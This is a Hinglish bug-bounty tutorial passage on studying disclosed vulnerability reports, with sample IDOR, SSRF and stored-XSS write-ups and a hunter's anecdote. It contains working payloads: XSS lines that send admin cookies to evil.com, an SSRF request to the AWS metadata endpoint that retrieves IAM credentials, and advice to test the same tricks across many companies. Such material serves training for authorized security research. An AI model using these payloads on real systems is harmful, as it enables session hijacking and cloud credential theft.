PART 2: Real Report Patterns Top Bugs Analyze Karo

Pattern 1: Classic IDOR Report Structure

# Real IDOR Report Style (HackerOne)

Title:
"IDOR at /api/v1/user/{id}/documents allows
 any authenticated user to download other
 users' private documents"

Summary (2-3 lines):
The endpoint /api/v1/user/{id}/documents does not
verify that the requesting user owns the {id} parameter.
By changing the numeric ID, an attacker can download
any user's private documents.

Severity: High (CVSS 7.5)
Bounty: $1,500

Steps:
1. Register two accounts: attacker@test.com (ID: 1001)
   and victim@test.com (ID: 1002)
2. Login as attacker
3. Send request:
   GET /api/v1/user/1002/documents
   Authorization: Bearer ATTACKER_TOKEN
4. Observe victim's documents returned

Request:
GET /api/v1/user/1002/documents HTTP/1.1
Host: target.com
Authorization: Bearer eyJhbGci...ATTACKER...

Response:
HTTP/1.1 200 OK
[{"doc_id":"DOC-456","name":"passport.pdf"...}]

Impact:
All private documents of all users accessible.
Estimated 250,000 user records affected.
Documents include: KYC, financial, medical records.

Pattern 2: SSRF Report Structure

# Real SSRF Report Style

Title:
"Blind SSRF via webhook URL parameter allows
 access to internal AWS metadata service"

Summary:
The webhook configuration endpoint at
/api/webhooks/create accepts a user-supplied URL
without validation. This URL is fetched server-side,
allowing access to internal services including
AWS metadata at 169.254.169.254.

Severity: Critical (CVSS 9.8)
Bounty: $8,500

Steps:
1. Create account, go to Settings β†’ Webhooks
2. Create new webhook with URL:
   http://169.254.169.254/latest/meta-data/
3. Trigger webhook via any action
4. Check webhook logs β€” AWS metadata returned!

PoC Request:
POST /api/webhooks/create HTTP/1.1
{"url": "http://169.254.169.254/latest/meta-data/iam/",
 "events": ["user.created"]}

Response in webhook logs:
{"response": "security-credentials/\nec2-instance-role"}

Follow-up:
http://169.254.169.254/latest/meta-data/iam/
security-credentials/ec2-instance-role

β†’ AWS_ACCESS_KEY_ID: ASIA...
β†’ AWS_SECRET_ACCESS_KEY: xxx...
β†’ Token: xxx...

Impact:
AWS credentials obtained. Full cloud infrastructure
access possible including S3 buckets, EC2 instances,
and RDS databases.

Pattern 3: XSS Report Structure

# Real XSS Report Style

Title:
"Stored XSS in organization name field
 executes in admin dashboard context"

Summary:
The organization name field at /settings/org
does not sanitize HTML input. The stored payload
executes when any admin views the organization
list, allowing session cookie theft of admin accounts.

Severity: High (CVSS 8.7)
Bounty: $3,200

Steps:
1. Create/join organization
2. Edit org name to:
   <img src=x onerror="fetch('https://evil.com/c?'+document.cookie)">
3. Save organization name
4. Admin visits /admin/organizations
5. Payload executes β€” admin cookie sent to evil.com

PoC Payload:
<img src=x onerror="document.location=
'https://evil.com/steal?c='+btoa(document.cookie)">

Impact:
- Admin session cookies stolen
- Full admin panel takeover
- Access to all user data and configurations
- Estimated 10,000+ organizations affected

Fix:
Implement htmlspecialchars() on organization name
Add Content-Security-Policy header

PART 3: Top Hunter Writing Style Copy Karo!

Style 1: Frans RosΓ©n Style (Top Hunter)

Characteristics:
β†’ Very detailed technical explanation
β†’ Root cause analysis include karta hai
β†’ Multiple impact scenarios
β†’ Fix ke liye exact code suggest karta hai
β†’ Timeline include karta hai

What to copy:
β†’ "Root Cause:" section add karo
β†’ "Technical Analysis:" deep dive
β†’ Exact vulnerable code snippet (if available)
β†’ "Timeline:" disclosure process

Style 2: Nahamsec Style (Popular Hunter)

Characteristics:
β†’ Story format β€” engaging writing
β†’ "How I found it" narrative
β†’ Simple language β€” non-technical bhi samjhe
β†’ Video PoC hamesha
β†’ Business impact pe focus

What to copy:
β†’ Story se shuru karo
β†’ "While testing X, I noticed Y..."
β†’ Thought process explain karo
β†’ Video PoC add karo

Style 3: Assetnote Style (Elite Research)

Characteristics:
β†’ Complete attack chain
β†’ Automation scripts included
β†’ Multiple vulnerability chaining
β†’ Research-level depth
β†’ New technique discovery

What to copy:
β†’ Attack chain banao β€” single bug nahi
β†’ Scripts/tools share karo
β†’ "This led to X which enabled Y" flow

PART 4: Disclosed Reports Se Naye Bugs Dhundho!

Yeh sabse powerful technique hai "Vulnerability Chasing"

Step 1: Interesting disclosed report padho
        Example: "Company X mein IDOR tha /api/orders/{id} mein"

Step 2: Same pattern dusri companies mein dhundho
        β†’ Company Y ka /api/orders/{id} check karo
        β†’ Company Z ka /api/invoices/{id} check karo

Step 3: Same vulnerability type, naya target
        β†’ Report mein same payload use karo
        β†’ Mostly kaam karta hai!

Example workflow:
Disclosed: "JWT alg:none bypass on target1.com"
β†’ 50 different companies ke JWT tokens check karo
β†’ jwt_tool se alg:none test karo
β†’ 1-2 mein zaroor milega!

Yeh "n-day hunting" bolta hai bug bounty community!

Practical Example:

# Disclosed report: GitHub Actions SSRF
# Pattern: Webhook URL β†’ Internal SSRF

# Ab dhundho similar webhook features:
# Search: "webhook" site:hackerone.com/programs
# Ya:
gau target.com | grep -iE \
  "webhook|callback|notify|ping|hook" | \
  uro > webhook_endpoints.txt

# Test karo disclosed report ka exact technique:
# URL mein 169.254.169.254 inject karo
# Blind SSRF ke liye Interactsh use karo

# Result: 3-4 companies mein same bug milega!

PART 5: Must-Read Disclosed Reports Learning List

PART 6: Report Reading Template Kaise Padhen?

Har report ko is framework se padho:

1. VULNERABILITY TYPE:
   Kaunsa vulnerability hai? (XSS, SSRF, IDOR?)

2. ATTACK SURFACE:
   Kahan mila? (API, file upload, webhook, form?)

3. ROOT CAUSE:
   Kyun hua? (Missing validation, logic flaw?)

4. PAYLOAD/TECHNIQUE:
   Exact payload kya tha?

5. IMPACT:
   Kya impact tha? Kaise justify kiya?

6. CVSS:
   Score kya tha? Kaise calculate kiya?

7. WRITING STYLE:
   Kaise likha? Title, steps, PoC format?

8. BOUNTY:
   Kitna mila? Severity se match karta hai?

9. SIMILAR TARGETS:
   Main yeh kahan test kar sakta hoon?

10. TAKEAWAY:
    Maine kya seekha is report se?

Meri Baat…

Jab maine pehle bug dhundha randomly test karta tha direction nahi thiΰ₯€

Phir ek din 2 ghante Hacktivity pe spend kiΰ₯€

Ek SSRF report padhi webhook URL se AWS metadata access:

Target had webhook feature β†’ SSRF possible
β†’ 169.254.169.254 β†’ AWS credentials stolen

Mere paas ek similar app thi scope mein webhook feature tha!

Exact same payload try kiya:

{"webhook_url": "http://169.254.169.254/latest/meta-data/"}

SSRF confirmed AWS credentials milein! 😱

Bounty: $5,500 Critical!

Sirf ek disclosed report padhi thi aur directly critical bug mila! πŸŽ‰

Lesson: Hacktivity = Bug Bounty ka free university hai! Roz padho roz kuch naya seekho aur directly apply karo!
